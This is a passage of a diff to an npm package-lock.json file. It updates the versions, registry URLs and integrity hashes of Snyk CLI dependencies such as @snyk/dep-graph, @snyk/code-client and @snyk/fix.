+ "integrity": "sha512-7Hwk2ZMYm+JLWcb7R9qIXk1OoUg1Z+saKWqZXlrvFwT3w6UArVNWgxYOzf+PJoK9zZejp8okPAKTctthhXLt5g==",
"requires": {
- "lodash": "^4.17.15",
- "lodash-es": "^4.17.15"
+ "lodash": "^4.17.20",
+ "lodash-es": "^4.17.20"
}
},
"@sindresorhus/is": {
- "version": "3.1.2",
- "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-3.1.2.tgz",
- "integrity": "sha512-JiX9vxoKMmu8Y3Zr2RVathBL1Cdu4Nt4MuNWemt1Nc06A0RAin9c5FArkhGsyMBWfCu4zj+9b+GxtjAnE4qqLQ=="
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-2.1.1.tgz",
+ "integrity": "sha512-/aPsuoj/1Dw/kzhkgz+ES6TxG0zfTMGLwuK2ZG00k/iJzYHTLCE8mVU8EPqEOp/lmxPoq1C1C9RYToRKb2KEfg==",
+ "dev": true
},
"@snyk/cli-interface": {
- "version": "2.8.1",
- "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.8.1.tgz",
- "integrity": "sha512-pALcfgoY0hAavy/pBlDIqEu+FFC5m+D4bMnCwlQ26mObL/zzxp2+Ohx+HykCIom62u2J94SzAtRLFdm/2TgoOw==",
+ "version": "2.11.0",
+ "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.11.0.tgz",
+ "integrity": "sha512-T3xfDqrEFKclHGdJx4/5+D5F7e76/99f33guE4RTlVITBhy7VVnjz4t/NDr3UYqcC0MgAmiC4bSVYHnlshuwJw==",
+ "dev": true,
"requires": {
- "@snyk/dep-graph": "1.19.0",
- "@snyk/graphlib": "2.1.9-patch",
- "tslib": "^1.9.3"
- },
- "dependencies": {
- "@snyk/dep-graph": {
- "version": "1.19.0",
- "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.19.0.tgz",
- "integrity": "sha512-/0phOICMk4hkX2KtZgi+4KNd5G9oYDIlxQDQk+ui2xl4gonPvK6Q5MFzHP7Xet1YY/XoU33ox41i+IO48qZ+zQ==",
- "requires": {
- "@snyk/graphlib": "2.1.9-patch",
- "lodash.isequal": "^4.5.0",
- "object-hash": "^2.0.3",
- "semver": "^6.0.0",
- "source-map-support": "^0.5.19",
- "tslib": "^2.0.0"
- },
- "dependencies": {
- "tslib": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz",
- "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ=="
- }
- }
- },
- "semver": {
- "version": "6.3.0",
- "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
- "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
- }
+ "@types/graphlib": "^2"
}
},
"@snyk/cocoapods-lockfile-parser": {
- "version": "3.4.0",
- "resolved": "https://registry.npmjs.org/@snyk/cocoapods-lockfile-parser/-/cocoapods-lockfile-parser-3.4.0.tgz",
- "integrity": "sha512-mAWgKIHFv0QEGpRvocVMxLAdJx7BmXtVOyQN/VtsGBoGFKqhO0jbtKUUVJC4b0jyKfVmEF2puo94i+1Uqz5q6A==",
+ "version": "3.6.2",
+ "resolved": "https://registry.npmjs.org/@snyk/cocoapods-lockfile-parser/-/cocoapods-lockfile-parser-3.6.2.tgz",
+ "integrity": "sha512-ca2JKOnSRzYHJkhOB9gYmdRZHmd02b/uBd/S0D5W+L9nIMS7sUBV5jfhKwVgrYPIpVNIc0XCI9rxK4TfkQRpiA==",
+ "dev": true,
"requires": {
- "@snyk/dep-graph": "1.18.4",
- "@snyk/ruby-semver": "^2.0.4",
+ "@snyk/dep-graph": "^1.23.1",
"@types/js-yaml": "^3.12.1",
"js-yaml": "^3.13.1",
- "source-map-support": "^0.5.7",
"tslib": "^1.10.0"
+ }
+ },
+ "@snyk/code-client": {
+ "version": "3.4.0",
+ "resolved": "https://registry.npmjs.org/@snyk/code-client/-/code-client-3.4.0.tgz",
+ "integrity": "sha512-RY2IftAiWB7tp36Mcq7WiEwqoD8A/mqrD6N7oDWTxBOIqsH0t4djo/UibiWDJotaffO9aXXndOf3iZ/kTt+Rdg==",
+ "dev": true,
+ "requires": {
+ "@deepcode/dcignore": "^1.0.2",
+ "@snyk/fast-glob": "^3.2.6-patch",
+ "@types/flat-cache": "^2.0.0",
+ "@types/lodash.chunk": "^4.2.6",
+ "@types/lodash.omit": "^4.5.6",
+ "@types/lodash.union": "^4.6.6",
+ "@types/micromatch": "^4.0.1",
+ "@types/sarif": "^2.1.3",
+ "@types/uuid": "^8.3.0",
+ "axios": "^0.21.1",
+ "ignore": "^5.1.8",
+ "lodash.chunk": "^4.2.0",
+ "lodash.omit": "^4.5.0",
+ "lodash.union": "^4.6.0",
+ "micromatch": "^4.0.2",
+ "queue": "^6.0.1",
+ "uuid": "^8.3.2"
},
"dependencies": {
- "@snyk/dep-graph": {
- "version": "1.18.4",
- "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.18.4.tgz",
- "integrity": "sha512-SePWsDyD7qrLxFifIieEl4GqyOODfOnP0hmUweTG5YcMroAV5nARGAUcjxREGzbXMcUpPfZhAaqFjYgzUDH8dQ==",
+ "braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
"requires": {
- "@snyk/graphlib": "2.1.9-patch",
- "@snyk/lodash": "4.17.15-patch",
- "object-hash": "^2.0.3",
- "semver": "^7.3.2",
- "source-map-support": "^0.5.19",
- "tslib": "^1.11.1"
+ "fill-range": "^7.0.1"
}
},
- "semver": {
- "version": "7.3.2",
- "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz",
- "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ=="
+ "fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
+ "requires": {
+ "to-regex-range": "^5.0.1"
+ }
+ },
+ "ignore": {
+ "version": "5.1.8",
+ "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz",
+ "integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==",
+ "dev": true
+ },
+ "is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true
+ },
+ "micromatch": {
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz",
+ "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==",
+ "dev": true,
+ "requires": {
+ "braces": "^3.0.1",
+ "picomatch": "^2.2.3"
+ }
+ },
+ "to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "requires": {
+ "is-number": "^7.0.0"
+ }
+ },
+ "uuid": {
+ "version": "8.3.2",
+ "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
+ "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
+ "dev": true
}
}
},
"@snyk/composer-lockfile-parser": {
- "version": "1.4.0",
- "resolved": "https://registry.npmjs.org/@snyk/composer-lockfile-parser/-/composer-lockfile-parser-1.4.0.tgz",
- "integrity": "sha512-ga4YTRjJUuP0Ufr+t1IucwVjEFAv66JSBB/zVHP2zy/jmfA3l3ZjlGQSjsRC6Me9P2Z0esQ83AYNZvmIf9pq2w==",
+ "version": "1.4.1",
+ "resolved": "https://registry.npmjs.org/@snyk/composer-lockfile-parser/-/composer-lockfile-parser-1.4.1.tgz",
+ "integrity": "sha512-wNANv235j95NFsQuODIXCiQZ9kcyg9fz92Kg1zoGvaP3kN/ma7fgCnvQL/dyml6iouQJR5aZovjhrrfEFoKtiQ==",
+ "dev": true,
"requires": {
- "@snyk/lodash": "^4.17.15-patch"
+ "lodash.findkey": "^4.6.0",
+ "lodash.get": "^4.4.2",
+ "lodash.invert": "^4.3.0",
+ "lodash.isempty": "^4.4.0"
}
},
"@snyk/dep-graph": {
- "version": "1.18.3",
- "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.18.3.tgz",
- "integrity": "sha512-7qWRTIJdZuc5VzDjdV2+03AHElyAZmhq7eV9BRu+jqrYjo9ohWBGEZgYslrTdvfqfJ8rkdrG3j0/0Aa25IxJcg==",
+ "version": "1.28.0",
+ "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.28.0.tgz",
+ "integrity": "sha512-Oup9nAvb558jdNvbZah/vaBtOtCcizkdeS+OBQeBIqIffyer4mc4juSn4b1SFjCpu7AG7piio8Lj8k1B9ps6Tg==",
+ "dev": true,
"requires": {
- "@snyk/graphlib": "2.1.9-patch",
- "@snyk/lodash": "4.17.15-patch",
+ "event-loop-spinner": "^2.1.0",
+ "lodash.clone": "^4.5.0",
+ "lodash.constant": "^3.0.0",
+ "lodash.filter": "^4.6.0",
+ "lodash.foreach": "^4.5.0",
+ "lodash.isempty": "^4.4.0",
+ "lodash.isequal": "^4.5.0",
+ "lodash.isfunction": "^3.0.9",
+ "lodash.isundefined": "^3.0.1",
+ "lodash.keys": "^4.2.0",
+ "lodash.map": "^4.6.0",
+ "lodash.reduce": "^4.6.0",
+ "lodash.size": "^4.2.0",
+ "lodash.transform": "^4.6.0",
+ "lodash.union": "^4.6.0",
+ "lodash.values": "^4.3.0",
"object-hash": "^2.0.3",
- "semver": "^7.3.2",
- "source-map-support": "^0.5.19",
- "tslib": "^1.11.1"
+ "semver": "^7.0.0",
+ "tslib": "^1.13.0"
},
"dependencies": {
+ "lru-cache": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+ "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+ "dev": true,
+ "requires": {
+ "yallist": "^4.0.0"
+ }
+ },
"semver": {
- "version": "7.3.2",
- "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz",
- "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ=="
+ "version": "7.3.5",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz",
+ "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==",
+ "dev": true,
+ "requires": {
+ "lru-cache": "^6.0.0"
+ }
+ },
+ "tslib": {
+ "version": "1.14.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
+ "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==",
+ "dev": true
+ },
+ "yallist": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
+ "dev": true
}
}
},
"@snyk/docker-registry-v2-client": {
- "version": "1.13.5",
- "resolved": "https://registry.npmjs.org/@snyk/docker-registry-v2-client/-/docker-registry-v2-client-1.13.5.tgz",
- "integrity": "sha512-lgJiC071abCpFVLp47OnykU8MMrhdQe386Wt6QaDmjI0s2DQn/S58NfdLrPU7s6l4zoGT7UwRW9+7paozRgFTA==",
+ "version": "1.13.9",
+ "resolved": "https://registry.npmjs.org/@snyk/docker-registry-v2-client/-/docker-registry-v2-client-1.13.9.tgz",
+ "integrity": "sha512-DIFLEhr8m1GrAwsLGInJmpcQMacjuhf3jcbpQTR+LeMvZA9IuKq+B7kqw2O2FzMiHMZmUb5z+tV+BR7+IUHkFQ==",
+ "dev": true,
"requires": {
"needle": "^2.5.0",
"parse-link-header": "^1.0.1",
"tslib": "^1.10.0"
}
},
- "@snyk/gemfile": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/@snyk/gemfile/-/gemfile-1.2.0.tgz",
- "integrity": "sha512-nI7ELxukf7pT4/VraL4iabtNNMz8mUo7EXlqCFld8O5z6mIMLX9llps24iPpaIZOwArkY3FWA+4t+ixyvtTSIA=="
- },
- "@snyk/graphlib": {
- "version": "2.1.9-patch",
- "resolved": "https://registry.npmjs.org/@snyk/graphlib/-/graphlib-2.1.9-patch.tgz",
- "integrity": "sha512-uFO/pNMm3pN15QB+hVMU7uaQXhsBNwEA8lOET/VDcdOzLptODhXzkJqSHqt0tZlpdAz6/6Uaj8jY00UvPFgFMA==",
+ "@snyk/fast-glob": {
+ "version": "3.2.6-patch",
+ "resolved": "https://registry.npmjs.org/@snyk/fast-glob/-/fast-glob-3.2.6-patch.tgz",
+ "integrity": "sha512-E/Pfdze/WFfxwyuTFcfhQN1SwyUsc43yuCoW63RVBCaxTD6OzhVD2Pvc/Sy7BjiWUfmelzyKkIBpoow8zZX7Zg==",
+ "dev": true,
"requires": {
- "@snyk/lodash": "4.17.15-patch"
- }
- },
- "@snyk/inquirer": {
- "version": "6.2.2-patch",
- "resolved": "https://registry.npmjs.org/@snyk/inquirer/-/inquirer-6.2.2-patch.tgz",
- "integrity": "sha512-IUq5bHRL0vtVKtfvd4GOccAIaLYHbcertug2UVZzk5+yY6R/CxfYsnFUTho1h4BdkfNdin2tPjE/5jRF4SKSrw==",
- "requires": {
- "@snyk/lodash": "4.17.15-patch",
- "ansi-escapes": "^3.2.0",
- "chalk": "^2.4.2",
- "cli-cursor": "^2.1.0",
- "cli-width": "^2.0.0",
- "external-editor": "^3.0.3",
- "figures": "^2.0.0",
- "mute-stream": "0.0.7",
- "run-async": "^2.2.0",
- "rxjs": "^6.4.0",
- "string-width": "^2.1.0",
- "strip-ansi": "^5.0.0",
- "through": "^2.3.6"
+ "@nodelib/fs.stat": "^2.0.2",
+ "@nodelib/fs.walk": "^1.2.3",
+ "@snyk/glob-parent": "^5.1.2-patch.1",
+ "merge2": "^1.3.0",
+ "micromatch": "^4.0.2",
+ "picomatch": "^2.2.1"
},
"dependencies": {
- "ansi-escapes": {
- "version": "3.2.0",
- "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz",
- "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ=="
+ "braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
+ "requires": {
+ "fill-range": "^7.0.1"
+ }
},
+ "fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
+ "requires": {
+ "to-regex-range": "^5.0.1"
+ }
+ },
+ "is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true
+ },
+ "micromatch": {
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz",
+ "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==",
+ "dev": true,
+ "requires": {
+ "braces": "^3.0.1",
+ "picomatch": "^2.2.3"
+ }
+ },
+ "to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "requires": {
+ "is-number": "^7.0.0"
+ }
+ }
+ }
+ },
+ "@snyk/fix": {
+ "version": "1.526.0",
+ "resolved": "https://registry.npmjs.org/@snyk/fix/-/fix-1.526.0.tgz",
+ "integrity": "sha512-+aMUNRhOdoN4YPGxXlN9+NwvKOr/DNBCGgC8DnNSujcJ9Nj1M8oHrnVoTy56/tgbJ8qyw/zwmCKAm383CfURKg==",
+ "dev": true,
+ "requires": {
+ "@snyk/dep-graph": "^1.21.0",
+ "chalk": "4.1.0",
+ "debug": "^4.3.1",
+ "micromatch": "4.0.2",
+ "ora": "5.3.0",
+ "p-map": "^4.0.0",
+ "strip-ansi": "6.0.0"
+ },
+ "dependencies": {
"ansi-regex": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz",
- "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg="
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz",
+ "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==",
+ "dev": true
},
- "cli-cursor": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-2.1.0.tgz",
- "integrity": "sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=",
+ "ansi-styles": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
"requires": {
- "restore-cursor": "^2.0.0"
+ "color-convert": "^2.0.1"
}
},
- "figures": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/figures/-/figures-2.0.0.tgz",
- "integrity": "sha1-OrGi0qYsi/tDGgyUy3l6L84nyWI=",
+ "braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
"requires": {
- "escape-string-regexp": "^1.0.5"
+ "fill-range": "^7.0.1"
}
},
- "is-fullwidth-code-point": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
- "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8="
+ "chalk": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz",
+ "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==",
+ "dev": true,
+ "requires": {
+ "ansi-styles": "^4.1.0",
+ "supports-color": "^7.1.0"
+ }
},
- "mimic-fn": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-1.2.0.tgz",
- "integrity": "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ=="
- },
- "mute-stream": {
- "version": "0.0.7",
- "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.7.tgz",
- "integrity": "sha1-MHXOk7whuPq0PhvE2n6BFe0ee6s="
- },
- "onetime": {
+ "color-convert": {
"version": "2.0.1",
- "resolved": "https://registry.npmjs.org/onetime/-/onetime-2.0.1.tgz",
- "integrity": "sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
"requires": {
- "mimic-fn": "^1.0.0"
+ "color-name": "~1.1.4"
}
},
- "restore-cursor": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-2.0.0.tgz",
- "integrity": "sha1-n37ih/gv0ybU/RYpI9YhKe7g368=",
+ "color-name": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true
+ },
+ "debug": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
"requires": {
- "onetime": "^2.0.0",
- "signal-exit": "^3.0.2"
+ "ms": "2.1.2"
}
},
- "string-width": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz",
- "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==",
+ "fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
"requires": {
- "is-fullwidth-code-point": "^2.0.0",
- "strip-ansi": "^4.0.0"
- },
- "dependencies": {
- "strip-ansi": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz",
- "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=",
- "requires": {
- "ansi-regex": "^3.0.0"
- }
- }
+ "to-regex-range": "^5.0.1"
+ }
+ },
+ "has-flag": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+ "dev": true
+ },
+ "is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true
+ },
+ "micromatch": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz",
+ "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==",
+ "dev": true,
+ "requires": {
+ "braces": "^3.0.1",
+ "picomatch": "^2.0.5"
+ }
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ },
+ "p-map": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz",
+ "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==",
+ "dev": true,
+ "requires": {
+ "aggregate-error": "^3.0.0"
}
},
"strip-ansi": {
- "version": "5.2.0",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
- "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz",
+ "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==",
+ "dev": true,
"requires": {
- "ansi-regex": "^4.1.0"
- },
- "dependencies": {
- "ansi-regex": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz",
- "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg=="
- }
+ "ansi-regex": "^5.0.0"
+ }
+ },
+ "supports-color": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
+ "requires": {
+ "has-flag": "^4.0.0"
+ }
+ },
+ "to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "requires": {
+ "is-number": "^7.0.0"
+ }
+ }
+ }
+ },
+ "@snyk/gemfile": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/@snyk/gemfile/-/gemfile-1.2.0.tgz",
+ "integrity": "sha512-nI7ELxukf7pT4/VraL4iabtNNMz8mUo7EXlqCFld8O5z6mIMLX9llps24iPpaIZOwArkY3FWA+4t+ixyvtTSIA==",
+ "dev": true
+ },
+ "@snyk/glob-parent": {
+ "version": "5.1.2-patch.1",
+ "resolved": "https://registry.npmjs.org/@snyk/glob-parent/-/glob-parent-5.1.2-patch.1.tgz",
+ "integrity": "sha512-OkUPdHgxIWKAAzceG1nraNA0kgI+eS0I9wph8tll9UL0slD2mIWSj4mAqroGovaEXm8nHedoUfuDRGEb6wnzCQ==",
+ "dev": true,
+ "requires": {
+ "is-glob": "^4.0.1"
+ }
+ },
+ "@snyk/graphlib": {
+ "version": "2.1.9-patch.3",
+ "resolved": "https://registry.npmjs.org/@snyk/graphlib/-/graphlib-2.1.9-patch.3.tgz",
+ "integrity": "sha512-bBY9b9ulfLj0v2Eer0yFYa3syVeIxVKl2EpxSrsVeT4mjA0CltZyHsF0JjoaGXP27nItTdJS5uVsj1NA+3aE+Q==",
+ "dev": true,
